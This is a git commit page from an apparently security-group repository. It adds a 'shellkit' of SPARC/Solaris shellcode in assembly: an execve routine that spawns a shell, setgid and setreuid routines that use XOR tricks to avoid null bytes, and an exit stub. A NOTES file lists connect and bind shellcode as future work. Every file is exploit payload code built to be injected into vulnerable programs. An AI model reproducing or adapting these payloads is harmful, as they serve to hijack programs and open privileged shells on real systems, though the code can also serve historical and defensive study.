summaryrefslogtreecommitdiff
path: root/other/shellkit/sparc_solaris
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/sparc_solaris
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'other/shellkit/sparc_solaris')
-rw-r--r--other/shellkit/sparc_solaris/AUTHORS2
-rw-r--r--other/shellkit/sparc_solaris/NOTES11
-rw-r--r--other/shellkit/sparc_solaris/execve.s20
-rw-r--r--other/shellkit/sparc_solaris/exit.s10
-rw-r--r--other/shellkit/sparc_solaris/setgid.s12
-rw-r--r--other/shellkit/sparc_solaris/setreuid.s14
6 files changed, 69 insertions, 0 deletions
diff --git a/other/shellkit/sparc_solaris/AUTHORS b/other/shellkit/sparc_solaris/AUTHORS
new file mode 100644
index 0000000..01bb209
--- /dev/null
+++ b/other/shellkit/sparc_solaris/AUTHORS
@@ -0,0 +1,2 @@
1palmers / teso
2smiler / teso
diff --git a/other/shellkit/sparc_solaris/NOTES b/other/shellkit/sparc_solaris/NOTES
new file mode 100644
index 0000000..166eccc
--- /dev/null
+++ b/other/shellkit/sparc_solaris/NOTES
@@ -0,0 +1,11 @@
1would this shellcodes work in sparc NetBSD or SunOS?
2would require "ta 0" instead of "ta8"?
3
4
5todo:
6connect
7bind
8chmod
9read
10spset
11
diff --git a/other/shellkit/sparc_solaris/execve.s b/other/shellkit/sparc_solaris/execve.s
new file mode 100644
index 0000000..0a0c11b
--- /dev/null
+++ b/other/shellkit/sparc_solaris/execve.s
@@ -0,0 +1,20 @@
1 .globl cbegin
2 .globl cend
3
4cbegin:
5
6 sethi 0xbd89a, %l6
7 or %l6, 0x16e, %l6
8 sethi 0xbdcda, %l7
9 add %sp, 8, %o0
10 or %sp, %sp, %o1
11 add %sp, 16, %sp
12 xor %o6, %o6, %o2
13 std %l6, [%sp - 8]
14 st %o0, [%sp - 16]
15 st %o2, [%sp - 12]
16 mov 0x3b, %g1
17 ta 8
18
19cend:
20
diff --git a/other/shellkit/sparc_solaris/exit.s b/other/shellkit/sparc_solaris/exit.s
new file mode 100644
index 0000000..3019a42
--- /dev/null
+++ b/other/shellkit/sparc_solaris/exit.s
@@ -0,0 +1,10 @@
1 .globl cbegin
2 .globl cend
3
4cbegin:
5
6 mov 0x1, %g1
7 ta 0x8
8
9cend:
10
diff --git a/other/shellkit/sparc_solaris/setgid.s b/other/shellkit/sparc_solaris/setgid.s
new file mode 100644
index 0000000..c307065
--- /dev/null
+++ b/other/shellkit/sparc_solaris/setgid.s
@@ -0,0 +1,12 @@
1 .globl cbegin
2 .globl cend
3
4cbegin:
5
6 mov 0x4142, %o0
7 xor 0x4344, %o0, %o0
8 mov 0x2e, %g1
9 ta 0x8
10
11cend:
12
diff --git a/other/shellkit/sparc_solaris/setreuid.s b/other/shellkit/sparc_solaris/setreuid.s
new file mode 100644
index 0000000..e17c375
--- /dev/null
+++ b/other/shellkit/sparc_solaris/setreuid.s
@@ -0,0 +1,14 @@
1 .globl cbegin
2 .globl cend
3
4cbegin:
5
6 mov 0x4142, %o0
7 xor 0x4344, %o0, %o0
8 mov 0x4546, %o1
9 xor 0x4748, %o1, %o1
10 mov 0xca, %g1
11 ta 0x8
12
13cend:
14